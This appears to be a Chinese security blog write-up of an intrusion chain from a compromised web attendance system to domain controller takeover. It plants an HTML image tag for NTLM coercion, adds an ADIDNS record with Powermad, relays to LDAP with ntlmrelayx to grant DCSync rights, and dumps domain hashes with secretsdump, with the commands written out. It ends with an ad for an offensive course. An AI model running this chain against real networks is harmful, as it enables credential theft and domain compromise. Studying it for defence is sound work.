[域渗透] 从 web 到域控,你未曾设想的攻击链
2021-9-27 22:2:5 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏

0x00 前言

本文源自一次真实的渗透过程记录,介绍中继攻击在域内的另一种利用场景,希望能对各位看客有所帮助。

0x01 背景

拿到目标后对目标进行资产收集和常规渗透,目标体积较大,有数个 VPN 接入口,有自己独立的邮件服务器,根据邮服泄露的信息,内网存在域。目标安全性较好,没有历史漏洞可以直接获取到目标相关资产的权限。

经过多天打点后,终于找到目标线上的一个自研系统存在漏洞,通过一系列操作获取到该目标的网站的 webshell,环境为 linux ,外网云上环境。权限为 www-data

该点为目标的打卡和周报系统,分析日志可以发现有一部分用户是从目标总部过来的,一部分用户是从各地IP播过来的,可能是因为疫情原因吧,有些员工在家远程办公。收集数据库中所有的用户名已经可以解密的密码,尝试去登录 VPN,运气不错,共拿到两组 VPN 账号,成功拨入内网。根据 VPN的下发路由和网段探测慢慢摸到了目标内网中一台域控的位置,VPN 用的是域账号进行认证,所以我们可以直接链接 LDAP 去查询域内信息。
获取的两组账号均为边缘客服人员,目标域内有多个域控,所有的机器版本也比较新,个人机器均为 WIN10,服务器也是 20162019 这样较新的版本,OU 划的也比较仔细,拉出来看了看组策略的数量和部分配置,可以看出管理员还是很会玩的。
没有直接可以利用的点,这两组账号的邮箱内的邮件也没有敏感的信息。继续翻找,OU 中 MIS(网络管理员)组的成员均为域管,有部分机器是用户自行拉入域的。

整理一下我们手上的东西:一个外网的打卡系统两组客服域账号一个VPN接入点

到此我们已经具备了拿下域控的所有条件了,看到这里,各位可以停下里想一想如果是你,你该怎么进行攻击。

0x02 原理与构造

ntlm relay is dead long live ntlm relay

我们可以在打卡系统中插入我们的链接,例如 <img src="http://192.168.1.1/img.png" />。有用户来访问打卡系统的时候就会来对我们的网站进行请求,此时我们返回 401,则用户浏览器会默认对我们进行 NTLM 认证,因为来源是 HTTP ,我们可以将 HTTP 中继到 LDAP,来完成攻击连,也就是说,域管理员用户一旦访问打卡系统,我们就可以直接接管域控。

但是,默认情况下浏览器不会向外网发送凭证信息,你需要向域内添加一条DNS记录指向你用于中继的VPS,而默认情况下,任何认证用户(Authenticated Users),都有 Create all child object 的权限。换句话说,任何一个域用户默认情况下都可以添加 DNS 到 ADIDNS 区域。

到此我们的攻击路线就清晰了:

  1. 用域用户向域中添加一条 DNS 记录 unicodesec 指向公网 vps
  2. 在公网的打开系统首页 添加 <img src="http://unicodesec/img.png" />
  3. 在 公网 vps 上挂好 VPN 做好中继回域控的线路
  4. 等待用户来进行访问,当域管用户来访问时,则我们可以通过修改DACL,赋予 DCSYNC 权限 等方式接管整个域的权限

0x03 攻击

  • 环境说明

为了避免不必要的麻烦,演示过程由测试环境代替

IPHOSTNAMENOTE
192.168.136.138DC域控,Winodws2016
192.168.136.140WIN域机器WIN10,域管理员登录机器
1.1.1.1外网云上环境外网的打卡系统-ubuntu18.04
2.2.2.2公网VPS攻击者机器
USERNAMENOTE
Administrator域管理员
win10普通域用户,现有特权
  • 添加 认证图片

首先用我们拿到的 webshell 向系统首页添加以下代码,这里我们就用随便起一个 http 服务器演示。

<img src="http://unicodesec/1.png" />
  • 添加 DNS 记录

这里我们直接使用 Powermad 在域外向域中添加一条指向恶意服务器的 A 记录

使用VPN登录到内网中(客服域账号),全程是在域外操作的也就是本地也就是我们根本不需要域机器,这里我们用 frp 代理模拟拨入VPN

使用runas进行模拟Token

runas /netonly /user:shell\admin123 powershell

Powermad 添加一条A 记录 DNS 指向我们的公网 VPS 地址。(https://github.com/Kevin-Robertson/Powermad)

cd C:\Users\demi\Desktop\Powermad-master
Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSupdate -DNSType A -DNSName unicodesec -DNSData 70.34.197.162 -Verbos

可以看到回显,我们成功向域控添加了一条 DNS ,指向我们公网的 VPS。

  • ntlmrelay

VPS 上开启 ntlmrelayx.py 进行监听,命令如下

python3 ntlmrelayx.py -t ldap://192.168.136.138 --escalate-user=win10

等待域管理员打开的外网打卡系统即可, 就通过 DCSYNC 等方式接管整个域的权限。一旦访问就会被中继回 LDAP 并对我们指定的用户赋予特权。

可以看到 win10 用户 被赋予 DCSYNC 的权限。

获取权限后使用impacket secretsdump.py 就可以导出本地 HASH 和域 HASH。

python3 secretsdump.py shell/win10:admin\@[email protected]

完整演示GIF如下:

至此,完成整个渗透过程。

0x04 后记

如果对你有用话,不来个转发 点赞 再看支持一下吗?

宽字节内网线上班重磅来袭!!!

宽字节安全首次推出 内网渗透 课程。系统性的讲解 内网渗透 从0到1的攻击手法,深入各个安全机制,从基础开始,探索内网渗透的安全对抗。
该门课你可以掌握到:内网渗透的各类手法与思路权限的快速扩充全补丁环境下的域渗透过程等等,更深入学习 windows 机制完成自己的免杀工具对抗各类杀毒软件,让你的 C2 和 各种提权工具不再苦于一上传就被查杀的困扰。

详情参考:宽字节首期内网渗透线上课开班啦!!!


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485399&idx=1&sn=2a46ebede72839d0976e7d4538bc47e6&chksm=fa8b1a4fcdfc935902b9335ac27106c9607d489f453e088abd66ffe9b645f6c534f3abe0e0a7&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh